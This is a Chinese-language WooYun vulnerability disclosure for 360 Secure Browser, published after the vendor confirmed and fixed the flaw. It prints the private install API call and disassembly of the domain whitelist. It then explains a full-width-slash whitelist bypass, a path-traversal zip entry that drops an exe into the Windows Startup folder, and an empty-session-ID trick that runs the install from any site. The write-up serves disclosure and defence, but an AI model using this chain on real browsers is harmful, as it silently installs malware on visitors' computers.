当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0170984

漏洞标题:360 安全浏览器远程命令执行漏洞(访问任意网站即可植入恶意软件)

相关厂商:奇虎360

漏洞作者: 唐朝实验室

提交时间:2016-01-19 09:29

修复时间:2016-04-11 16:08

公开时间:2016-04-11 16:08

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-19: 细节已通知厂商并且等待厂商处理中
2016-01-19: 厂商已经确认,细节仅向厂商公开
2016-01-22: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-03-14: 细节向核心白帽子及相关领域专家公开
2016-03-24: 细节向普通白帽子公开
2016-04-03: 细节向实习白帽子公开
2016-04-11: 细节向公众公开

简要描述:

只是单纯的分享技术,其他的留给下面的评论吧。

详细说明:

测试环境为 Windows 7 + 360 安全浏览器,最新版本,如下:

banner.png


360 安全浏览器支持两种类型的扩展程序:
1. 类似 http://**.**.**.**/ext/xxx.crx 的 chrome 扩展,安装过程需要用户确认;
2. 类似 http://**.**.**.**/xxx/xx.zip 的 360 私有应用,安装过程不需要用户确认;
安装扩展是通过浏览器的私有 api 完成,代码为:

external.AppCmd(se6api.sid, 'SeAppMgr', 'InstallAppItem', '{"downurl":"http://**.**.**.**/se6apps/ExtYouxi/ExtYouxi_**.**.**.**2.zip", "appid":"ExtYouxi", "appname":"游戏", "appver":"**.**.**.**2", "callbackFunc":"oninstalled"}', 'installcallback', function() {});


第二类扩展程序功能较为强大,扩展中常有 exe/dll 等文件。正因为如此,浏览器做了限制,downurl 中的链接只有符合条件才会被下载安装。
具体什么条件?咱们来分析下:
通过浏览器目录文件命令大概判断,扩展相关的功能是放在 seappmgr.dll 文件中,放入 IDA 中,通过搜索 InstallAppItem,downurl,360safe,http:// 等关键字,最后定位到如下代码:

.text:5C004978 ; int _thiscall sub5C004978(LPCWSTR lpszUrl)
.text:5C004978 sub5C004978 proc near ; CODE XREF: sub5C030882+15Ep
.text:5C004978 push ebx
.text:5C004979 push esi
.text:5C00497A mov esi, ecx
.text:5C00497C mov bl, 1
.text:5C00497E test esi, esi
.text:5C004980 jz short loc5C0049D8
.text:5C004982 cmp word ptr [esi], 0
.text:5C004986 jz short loc5C0049D8
.text:5C004988 mov edx, offset aDl360safecom ; **.**.**.**
.text:5C00498D call sub5C0048C7
.text:5C004992 test al, al
.text:5C004994 jnz short loc5C0049D8
.text:5C004996 mov edx, offset aDown360safec ; **.**.**.**
.text:5C00499B mov ecx, esi ; lpszUrl
.text:5C00499D call sub5C0048C7
.text:5C0049A2 test al, al
.text:5C0049A4 jnz short loc5C0049D8
.text:5C0049A6 mov edx, offset abaoku360cn ; **.**.**.**
.text:5C0049AB mov ecx, esi ; lpszUrl
.text:5C0049AD call sub5C0048C7
.text:5C0049B2 test al, al
.text:5C0049B4 jnz short loc5C0049D8
.text:5C0049B6 mov edx, offset aSeupdate360sa ; **.**.**.**
.text:5C0049BB mov ecx, esi ; lpszUrl
.text:5C0049BD call sub5C0048C7
.text:5C0049C2 test al, al
.text:5C0049C4 jnz short loc5C0049D8
.text:5C0049C6 mov edx, offset aSeappupdate36 ; **.**.**.**
.text:5C0049CB mov ecx, esi ; lpszUrl
.text:5C0049CD call sub5C0048C7
.text:5C0049D2 neg al
.text:5C0049D4 sbb al, al
.text:5C0049D6 and bl, al
.text:5C0049D8
.text:5C0049D8 loc5C0049D8: ; CODE XREF: sub5C004978+8j
.text:5C0049D8 ; sub5C004978+Ej ...
.text:5C0049D8 pop esi
.text:5C0049D9 mov al, bl
.text:5C0049DB pop ebx
.text:5C0049DC retn
.text:5C0049DC sub5C004978 endp


看样子应该白名单,

**.**.**.** 
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**


进一步分析从 downurl 中取域名是通过 InternetCrackUrlW 函数完成的,并不是直接通过正则匹配 downurl,怎么能够绕过 InternetCrackUrlW 是个问题?如果能够在这些域名下载找个 URL 跳转那岂不完美,可问题一分钱难道英雄汉。
**.**.**.** 这个域名中间有个通配符,值得关注。反复测试,当把 downurl 写成:

http://x.x.x.x/.**.**.**.**/ExtYouxi_**.**.**.**2.zip


奇迹出现了,x.x.x.x/.**.**.**.** 符合 **.**.**.** 策略,而宽字节字符 / 又会被浏览器识别为 /,完美。
把 ExtYouxi**.**.**.**2.zip 文件下载到自己的服务器上,经过测试,插件静默安装完成。接着就是想办法把 ExtYouxi**.**.**.**2.zip 替换成恶意的文件,来达到命令执行的目的。
反复测试发现,ExtYouxi_**.**.**.**2.zip 文件中当加入别的 dll/exe 等可执行文件则无法完成插件的安装,难道是对压缩包内的文件做了签名校验?但是当把一个文件名中含有 ../ 的文件放进压缩包内则能够顺利安装插件,并且这个文件顺利的放到了我们让其跳转的目录。你肯定想到我们要做什么事情了。
是的,我们要把一个 exe 文件放到 Windows 的启动目录内。
插件安装后的目录为:

C:\Users\用户\AppData\Roaming\360se6\apps\bin\se\插件名


我们把文件名为 /../../../../../Microsoft/Windows/Start Menu/Programs/Startup/funny.exe 的文件放进压缩包。通过之前的代码安装该插件,funny.exe 文件完美的放到了下面的文件夹中:

C:\Users\用户\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\


到这里我们的正常流程应该是在某特权域下找一个 xss,然后通过 xss 写入恶意代码来完成攻击,最初我也是这么想的,还找到一个 xss,并且完成了攻击代码的编写(其实超简单)。
但是,万万没想到,当我把 se6api.sid 设置为空,随便在一个域名下执行安装代码都能够安装成功。
简直不敢想像,这可是 360 啊!!!

漏洞证明:

请看:
链接: http://**.**.**.**/v_show/id_XMTQ1MDE0MDU1Mg==.html 密码:haidianwooyun

修复方案:

1. 最简单的是把宽字节的斜线符号 / 过滤掉
2. 特权 api 当然在特权域下才能调用

版权声明:转载请注明来源 唐朝实验室@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-01-19 12:22

厂商回复:

感谢白帽子反馈,我们第一时间跟进处理,预祝白帽子同学们新年快乐。

最新状态:

暂无